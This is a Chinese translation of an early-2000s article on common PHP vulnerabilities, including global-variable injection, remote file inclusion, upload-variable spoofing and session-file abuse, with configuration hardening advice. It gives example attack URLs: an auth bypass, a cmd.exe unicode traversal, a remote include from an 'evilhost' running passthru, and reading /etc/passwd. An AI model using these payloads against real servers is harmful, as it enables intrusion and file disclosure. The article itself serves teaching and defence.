如何對PHP程序中的常見漏洞進行***

　　 之所以翻譯這篇文章，是因爲目前關於CGI安全性的文章都是拿Perl作爲例子，而專門介紹ASP，PHP或者JSP安全性的文章則很少。Shaun Clowes的這篇文章比較全面地介紹了PHP的安全問題，原文可以http://www.securereality.com.au/studyinscarlet.txt找到。

　　由於原文比較長，而且有相當一部分是介紹文章的背景或PHP的基礎知識，沒有涉及到PHP安全方面的內容，因此我沒有翻譯。如果你想了解這方面的知識，請參考原文。

　　文章主要從全局變量，遠程文件，文件上載，庫文件，Session文件，數據類型和容易出錯的函數這幾個方面分析了PHP的安全性，並且對如何增強PHP的安全性提出了一些有用的建議。

　　好了，廢話少說，我們言歸正傳！

　　[全局變量]

　　PHP中的變量不需要事先聲明，它們會在第一次使用時自動創建，它們的類型也不需要指定，它們會根據上下文環境自動確定。從程序員的角度來看，這無疑是一種極其方便的處理方法。很顯然，這也是快速開發語言的一個很有用的特點。一旦一個變量被創建了，就可以在程序中的任何地方使用。這個特點導致的結果就是程序員很少初始化變量，畢竟，當它們第一次創建時，他們是空的。

　　很顯然，基於PHP的應用程序的主函數一般都是接受用戶的輸入（主要是表單變量，上載文件和Cookie等），然後對輸入數據進行處理，然後把結果返回到客戶端瀏覽器。爲了使PHP代碼訪問用戶的輸入儘可能容易，實際上PHP是把這些輸入數據看作全局變量來處理的。

　　例如：

　　很顯然，這會顯示一個文本框和提交按鈕。當用戶點擊提交按鈕時，“test.php”會處理用戶的輸入，當“test.php”運行時，“$hello”會包含用戶在文本框輸入的數據。從這裏我們應該看出，***者可以按照自己的意願創建任意的全局變量。如果***者不是通過表單輸入來調用“test.php”，而是直接在瀏覽器地址欄輸http://server/test.php?hello=hi&setup=no，那麼，不止是“$hello”被創建，“$setup”也被創建了。

　　譯者注：這兩種方法也就是我們通常說的“POST”和“GET”方法。

　　下面的用戶認證代碼暴露了PHP的全局變量所導致的安全問題：

　　if ($pass == "hello")

　　$auth = 1;

　　...

　　if ($auth == 1)

　　echo "some important information";

　　?>

　　上面的代碼首先檢查用戶的密碼是否爲“hello”，如果匹配的話，設置“$auth”爲“1”，即通過認證。之後如果“$suth”爲“1”的話，就會顯示一些重要信息。

　　表面看起來是正確的，而且我們中有相當一部分人是這樣做的，但是這段代碼犯了想當然的錯誤，它假定“$auth”在沒有設置值的時候是空的，卻沒有想到***者可以創建任何全局變量並賦值，通過類似http://server/test.php?auth=1”的方法，我們完全可以欺騙這段代碼，使它相信我們是已經認證過的。

　　因此，爲了提高PHP程序的安全性，我們不能相信任何沒有明確定義的變量。如果程序中的變量很多的話，這可是一項非常艱鉅的任務。

　　一種常用的保護方式就是檢查數組HTTP_GET[]或POST_VARS[]中的變量，這依賴於我們的提交方式（GET或POST）。當PHP配置爲打開“track_vars”選項的話（這是缺省值），用戶提交的變量就可以在全局變量和上面提到的數組中獲得。

　　但是值得說明的是，PHP有四個不同的數組變量用來處理用戶的輸入。HTTP_GET_VARS數組用來處理GET方式提交的變量，HTTP_POST_VARS數組用於處理POST方式提交的變量，HTTP_COOKIE_VARS數組用於處理作爲cookie頭提交的變量，而對於HTTP_POST_FILES數組（比較新的PHP才提供），則完全是用戶用來提交變量的一種可選方式。用戶的一個請求可以很容易的把變量存在這四個數組中，因此一個安全的PHP程序應該檢查這四個數組。

　　[遠程文件]

　　PHP是一種具有豐富特性的語言，提供了大量的函數，使編程者實現某個功能很容易。但是從安全的角度來看，功能越多，要保證它的安全性就越難，遠程文件就是說明這個問題的一個很好的例子：

　　if (!($fd = fopen("$filename", "r"))

　　echo("Could not open file: $filename

　　\n");

　　?>

　　上面的腳本試圖打開文件“$filename”，如果失敗就顯示錯誤信息。很明顯，如果我們能夠指定“$filename”的話，就能利用這個腳本瀏覽系統中的任何文件。但是，這個腳本還存在一個不太明顯的特性，那就是它可以從任何其它WEB或FTP站點讀取文件。實際上，PHP的大多數文件處理函數對遠程文件的處理是透明的。

　　例如：

　　如果指定“$filename”爲http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir”

　　則上面的代碼實際上是利用主機target上的unicode漏洞，執行了dir命令。

　　這使得支持遠程文件的include()，require()，include_once()和require_once()在上下文環境中變得更有趣。這些函數主要功能是包含指定文件的內容，並且把它們按照PHP代碼解釋，主要是用在庫文件上。

　　例如：

　　include($libdir . "/languages.php");

　　?>

　　上例中“$libdir”一般是一個在執行代碼前已經設置好的路徑，如果***者能夠使得“$libdir”沒有被設置的話，那麼他就可以改變這個路徑。但是***者並不能做任何事情，因爲他們只能在他們指定的路徑中訪問文件languages.php（perl中的“Poison null byte”***對PHP沒有作用）。但是由於有了對遠程文件的支持，***者就可以做任何事情。例如，***者可以在某臺服務器上放一個文件languages.php，包含如下內容：

　　passthru("/bin/ls /etc");

　　?>

　　然後把“$libdir”設置爲http://<;evilhost>/”，這樣我們就可以在目標主機上執行上面的***代碼，“/etc”目錄的內容作爲結果返回到客戶的瀏覽器中。

　　需要注意的是，***服務器（也就是evilhost）應該不能執行PHP代碼，否則***代碼會在***服務器，而不是目標服務器執行，如果你想了解具體的技術細節，請參考http://www.securereality.com.au/sradv00006.txt

　　[文件上載]

　　PHP自動支持基於RFC 1867的文件上載，我們看下面的例子：

　　上面的代碼讓用戶從本地機器選擇一個文件，當點擊提交後，文件就會被上載到服務器。這顯然是很有用的功能，但是PHP的響應方式使這項功能變的不安全。當PHP第一次接到這種請求，甚至在它開始解析被調用的PHP代碼之前，它會先接受遠程用戶的文件，檢查文件的長度是否超過“$MAX_FILE_SIZE variable”定義的值，如果通過這些測試的話，文件就會被存在本地的一個臨時目錄中。

　　因此，***者可以發送任意文件給運行PHP的主機，在PHP程序還沒有決定是否接受文件上載時，文件已經被存在服務器上了。

　　這裏我就不討論利用文件上載來對服務器進行DOS***的可能性了。

　　讓我們考慮一下處理文件上載的PHP程序，正如我們上面說的，文件被接收並且存在服務器上（位置是在配置文件中指定的，一般是/tmp），擴展名一般是隨機的，類似“phpxXuoXG”的形式。PHP程序需要上載文件的信息以便處理它，這可以通過兩種方式，一種方式是在PHP 3中已經使用的，另一種是在我們對以前的方法提出安全公告後引入的。

　　但是，我們可以肯定的說，問題還是存在的，大多數PHP程序還是使用老的方式來處理上載文件。PHP設置了四個全局變量來描述上載文件，比如說上面的例子：

　　$hello = Filename on local machine (e.g "/tmp/phpxXuoXG")

　　$hello_size = Size in bytes of file (e.g 1024)

　　$hello_name = The original name of the file on the remote system (e.g "c:\\temp\\hello.txt")

　　$hello_type = Mime type of uploaded file (e.g "text/plain")

　　然後PHP程序開始處理根據“$hello”指定的文件，問題在於“$hello”不一定是一個PHP設置的變量，任何遠程用戶都可以指定它。如果我們使用下面的方式：

　　http://vulnhost/vuln.php?hello=/ ... ello_name=hello.txt

　　就導致了下面的PHP全局變量（當然POST方式也可以（甚至是Cookie））：

　　$hello = "/etc/passwd"

　　$hello_size = 10240

　　$hello_type = "text/plain"

　　$hello_name = "hello.txt"

　　上面的表單數據正好滿足了PHP程序所期望的變量，但是這時PHP程序不再處理上載的文件，而是處理“/etc/passwd”（通常會導致內容暴露）。這種***可以用於暴露任何敏感文件的內容。

　　我在前面已經說了，新版本的PHP使用HTTP_POST_FILES[]來決定上載文件，同時也提供了很多函數來解決這個問題，例如有一個函數用來判斷某個文件是不是實際上載的文件。這些函數很好的解決了這個問題，但是實際上肯定有很多PHP程序仍然使用舊的方法，很容易受到這種***。

　　作爲文件上載的***方法的一個變種，我們看一下下面的一段代碼：

　　if (file_exists($theme)) // Checks the file exists on the local system (no remote files)

　　include("$theme");

　　?>

　　如果***者可以控制“$theme”的話，很顯然它可以利用“$theme”來讀取遠程系統上的任何文件。***者的最終目標是在遠程服務器上執行任意指令，但是他無法使用遠程文件，因此，他必須得在遠程服務器上創建一個PHP文件。這乍看起來好象是不可能的，但是文件上載幫了我們這個忙，如果***者先在本地機器上創建一個包含PHP代碼的文件，然後創建一個包含名爲“theme”的文件域的表單，最後用這個表單通過文件上載把創建的包含PHP代碼的文件提交給上面的代碼，PHP就會把***者提交的文件保存起來，並把“$theme”的值設置爲***者提交的文件，這樣file_exists()函數會檢查通過，***者的代碼也將執行。

　　獲得執行任意指令的能力之後，***者顯然想提升權限或者是擴大戰果，而這又需要一些服務器上沒有的工具集，而文件上載又一次幫了我們這個忙。***者可以使用文件上載功能上載工具，把她們存在服務器上，然後利用他們執行指令的能力，使用chmod()改變文件的權限，然後執行。例如：***者可以繞過防火牆或IDS上載一個本地root***程序，然後執行，這樣就獲得了root權限。

　　[庫文件]

　　正如我們前面討論的那樣，include()和require()主要是爲了支持代碼庫，因爲我們一般是把一些經常使用的函數放到一個獨立的文件中，這個獨立的文件就是代碼庫，當需要使用其中的函數時，我們只要把這個代碼庫包含到當前的文件中就可以了。

　　最初，人們開發和發佈PHP程序的時候，爲了區別代碼庫和主程序代碼，一般是爲代碼庫文件設置一個“.inc”的擴展名，但是他們很快發現這是一個錯誤，因爲這樣的文件無法被PHP解釋器正確解析爲PHP代碼。如果我們直接請求服務器上的這種文件時，我們就會得到該文件的源代碼，這是因爲當把PHP作爲Apache的模塊使用時，PHP解釋器是根據文件的擴展名來決定是否解析爲PHP代碼的。擴展名是站點管理員指定的，一般是“.php”， “.php3”和“.php4”。如果重要的配置數據被包含在沒有合適的擴展名的PHP文件中，那麼遠程***者很容易得到這些信息。

　　最簡單的解決方法就是給每個文件都指定一個PHP文件的擴展名，這樣可以很好的防止泄露源代碼的問題，但是又產生了新的問題，通過請求這個文件，***者可能使本該在上下文環境中運行的代碼獨立運行，這可能導致前面討論的全部***。

　　下面是一個很明顯的例子：

　　In main.php:

　　$libDir = "/libdir";

　　$langDir = "$libdir/languages";

　　...

　　include("$libdir/loadlanguage.php":

　　?>

　　In libdir/loadlanguage.php:

　　...

　　include("$langDir/$userLang");

　　?>

　　當“libdir/loadlanguage.php”被“main.php”調用時是相當安全的，但是因爲“libdir/loadlanguage”具有“.php”的擴展名，因此遠程***者可以直接請求這個文件，並且可以任意指定“$langDir”和“$userLang”的值。

　　[Session文件]

　　PHP 4或更新的版本提供了對sessions的支持，它的主要作用是在PHP程序中保存頁與頁之間的狀態信息。例如，當一個用戶登陸進入網站，他登陸了這個事實以及誰登陸進入這個網站都被保存在session中，當他在網站中到處瀏覽時，所有的PHP代碼都可以獲得這些狀態信息。

　　事實上，當一個session啓動時（實際上是在配置文件中設置爲在第一次請求時自動啓動），就會生成一個隨機的“session id”，如果遠程瀏覽器總是在發送請求時提交這個“session id”的話，session就會一直保持。這通過Cookie很容易實現，也可以通過在每頁提交一個表單變量（包含“session id”）來實現。PHP程序可以用session註冊一個特殊的變量，它的值會在每個PHP腳本結束後存在session文件中，也會在每個PHP腳本開始前加載到變量中。下面是一個簡單的例子：

　　session_destroy(); // Kill any data currently in the session

　　$session_auth = "shaun";

　　session_register("session_auth"); // Register $session_auth as a session variable

　　?>

　　新版本的PHP都會自動把“$session_auth”的值設置爲“shaun”，如果它們被修改的話，以後的腳本都會自動接受修改後的值，這對無狀態的Web來說的確是種很不錯的工具，但是我們也應該小心。

　　一個很明顯的問題就是確保變量的確來自session，例如，給定上面的代碼，如果後續的腳本是下面這樣的話：

　　if (!empty($session_auth))

　　// Grant access to site here

　　?>

　　上面的代碼假定如果“$session_auth”被置位的話，就是從session，而不是從用戶輸入來置位的，如果***者通過表單輸入來置位的話，他就可以獲得對站點的訪問權。注意***者必須在session註冊該變量之前使用這種***方法，一旦變量被放進了session，就會覆蓋任何表單輸入。

　　Session數據一般是保存在文件中（位置是可配置的，一般是“/tmp”），文件名一般是類似“sess_”的形式，這個文件包含變量名稱，變量類型，變量值和一些其它的數據。在多主機系統中，因爲文件是以運行Web服務器的用戶身份（一般是nobody）保存的，因此惡意的站點擁有者就可以通過創建一個session文件來獲得對其它站點的訪問，甚至可以檢查session文件中的敏感信息。

　　Session機制也爲***者把自己的輸入保存在遠程系統的文件中提供了另一個方便的地方，對於上面的例子來說，***者需要在遠程系統放置一個包含PHP代碼的文件，如果不能利用文件上載做到的話，他通常會利用session爲一個變量按照自己的意願賦一個值，然後猜測session文件的位置，而他知道文件名是“php”，所以只需猜測目錄，而目錄一般就是“/tmp”。

　　另外，***者可以任意指定“session id”（例如“hello”），然後用這個“session id”創建一個session文件（例如“/tmp/sess_hello”），但是“session id”只能是字母和數字組合。

　　[數據類型]

　　PHP具有比較鬆散的數據類型，變量的類型依賴於它們所處的上下文環境。例如：“$hello”開始是字符串變量，值爲“”，但是在求值時，就變成了×××變量“0”，這有時可能會導致一些意想不到的結果。如果“$hello”的值爲“000”還是爲“0”是不同的，empty()返回的結果也不會爲真。

　　PHP中的數組是關聯數組，也就是說，數組的索引是字符串型的。這意味着“$hello["000"]”和“$hello[0]”也是不同的。

　　開發程序的時候應該仔細地考慮上面的問題，例如，我們不應該在一個地方測試某個變量是否爲“0”，而在另外的地方使用empty()來驗證。

　　[容易出錯的函數]

　　我們在分析PHP程序中的漏洞時，如果能夠拿到源代碼的話，那麼一份容易出錯的函數列表則是我們非常需要的。如果我們能夠遠程改變這些函數的參數的話，那麼我們就很可能發現其中的漏洞。下面是一份比較詳細的容易出錯的函數列表：

　　require()：讀取指定文件的內容並且作爲PHP代碼解釋

　　include()：同上

　　eval()：把給定的字符串作爲PHP代碼執行

　　preg_replace()：當與“/e”開關一起使用時，替換字符串將被解釋爲PHP代碼

　　<命令執行>

　　exec()：執行指定的命令，返回執行結果的最後一行

　　passthru()：執行指定命令，返回所有結果到客戶瀏覽器

　　``：執行指定命令，返回所有結果到一個數組

　　system()：同passthru()，但是不處理二進制數據

　　popen()：執行指定的命令，把輸入或輸出連接到PHP文件描述符

　　<文件泄露>

　　fopen()：打開文件，並對應一個PHP文件描述符

　　readfile()：讀取文件的內容，然後輸出到客戶瀏覽器

　　file()：把整個文件內容讀到一個數組中

　　譯者注：其實這份列表還不是很全，比如“mail()”等命令也可能執行命令，所以需要自己補充一下。

　　[如何增強PHP的安全性]

　　我在上面介紹的所有***對於缺省安裝的PHP 4都可以很好的實現，但是我已經重複了很多次，PHP的配置非常靈活，通過配置一些PHP選項，我們完全可能抵抗其中的一些***。下面我按照實現的難度對一些配置進行了分類：

　　*低難度

　　**中低難度

　　***中高難度

　　****高難度

　　上面的分類只是個人的看法，但是我可以保證，如果你使用了PHP提供的所有選項的話，那麼你的PHP將是很安全的，即使是第三方的代碼也是如此，因爲其中很多功能已經不能使用。

　　**** 設置“register_globals”爲“off”

　　這個選項會禁止PHP爲用戶輸入創建全局變量，也就是說，如果用戶提交表單變量“hello”，PHP不會創建“$ hello”，而只會創建“HTTP_GET/POST_VARS[hello]”。這是PHP中一個極其重要的選項，關閉這個選項，會給編程帶來很大的不便。

　　*** 設置“safe_mode”爲“on”

　　打開這個選項，會增加如下限制：

　　1． 限制哪個命令可以被執行

　　2． 限制哪個函數可以被使用

　　3． 基於腳本所有權和目標文件所有權的文件訪問限制

　　4． 禁止文件上載功能

　　這對於ISP來說是一個偉大的選項，同時它也能極大地改進PHP的安全性。

　　** 設置“open_basedir”

　　這個選項可以禁止指定目錄之外的文件操作，有效地消除了本地文件或者是遠程文件被include()的***，但是仍需要注意文件上載和session文件的***。

　　** 設置“display_errors”爲“off”，設置“log_errors”爲“on”

　　這個選項禁止把錯誤信息顯示在網頁中，而是記錄到日誌文件中，這可以有效的抵制***者對目標腳本中函數的探測。

　　* 設置“allow_url_fopen”爲“off”

　　這個選項可以禁止遠程文件功能，極力推薦！